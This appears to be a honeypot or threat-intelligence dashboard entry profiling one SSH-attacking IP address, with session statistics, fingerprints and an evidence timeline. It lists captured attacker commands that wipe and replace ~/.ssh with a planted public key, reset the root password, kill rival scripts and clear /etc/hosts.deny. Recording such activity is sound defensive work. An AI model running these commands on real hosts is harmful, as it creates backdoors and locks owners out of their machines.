← Back to feed
Location
🇨🇳 CN / Guangzhou
ASN
AS45090 · Shenzhen Tencent Computer Systems Company Limited
Cloud Provider
—
Total Events
218
Above average by volume
Agent Count
1
First / Last Seen
2026-05-22 16:05 — 2026-05-22 17:18
Attack Types
MITRE ATT&CK Techniques
Initial Access
Defense Evasion
Command and Control
External Corroboration
Not flagged by any external feeds
Session Forensics
Sessions
19 (7 with login)
Avg Depth Score
0.39
Commands Executed
47
Files Downloaded
5
Notable Commands
- cd ~; chattr -ia .ssh; lockr -ia .ssh
- lockr -ia .ssh
- cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
- cat /proc/cpuinfo | grep name | wc -l
- echo "root:WsW4a075fpOI"|chpasswd|bash
- rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;
- cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'
- free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'
- ls -lh $(which ls)
- which ls
- echo "root:QY5fc6vGvQ2n"|chpasswd|bash
Fingerprints
HASSH
SSH Client
Evidence Timeline
Reconnaissance
c39d3040cca3
LOGIN
2
1
60%
Loading events...
Opportunistic Bruter
4e6cbf678771
LOGIN
1
50%
Loading events...
HASSH f555226df1963d1…
SSH-2.0-libssh_0.9.6
Malware Dropper
7f791e1f3f9f
LOGIN
3
1
1
100%
Loading events...
HASSH f555226df1963d1…
SSH-2.0-libssh_0.9.6
$ cd ~; chattr -ia .ssh; lockr -ia .ssh$ lockr -ia .ssh$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3Nz…
Reconnaissance
de107b7daa1c
LOGIN
2
1
60%
Loading events...
Malware Dropper
fbb14326b8c5
LOGIN
20
2
1
100%
Loading events...
HASSH f555226df1963d1…
SSH-2.0-libssh_0.9.6
$ cd ~; chattr -ia .ssh; lockr -ia .ssh$ lockr -ia .ssh$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3Nz…$ cat /proc/cpuinfo | grep name | wc -l$ echo "root:WsW4a075fpOI"|chpasswd|bash
Opportunistic Bruter
3998aaafca5e
LOGIN
1
50%
Loading events...
HASSH f555226df1963d1…
SSH-2.0-libssh_0.9.6
Malware Dropper
96a66127587c
LOGIN
20
2
1
100%
Loading events...
HASSH f555226df1963d1…
SSH-2.0-libssh_0.9.6
$ cd ~; chattr -ia .ssh; lockr -ia .ssh$ lockr -ia .ssh$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3Nz…$ cat /proc/cpuinfo | grep name | wc -l$ echo "root:QY5fc6vGvQ2n"|chpasswd|bash
Scanner
220f67cc3fe4
15%
Loading events...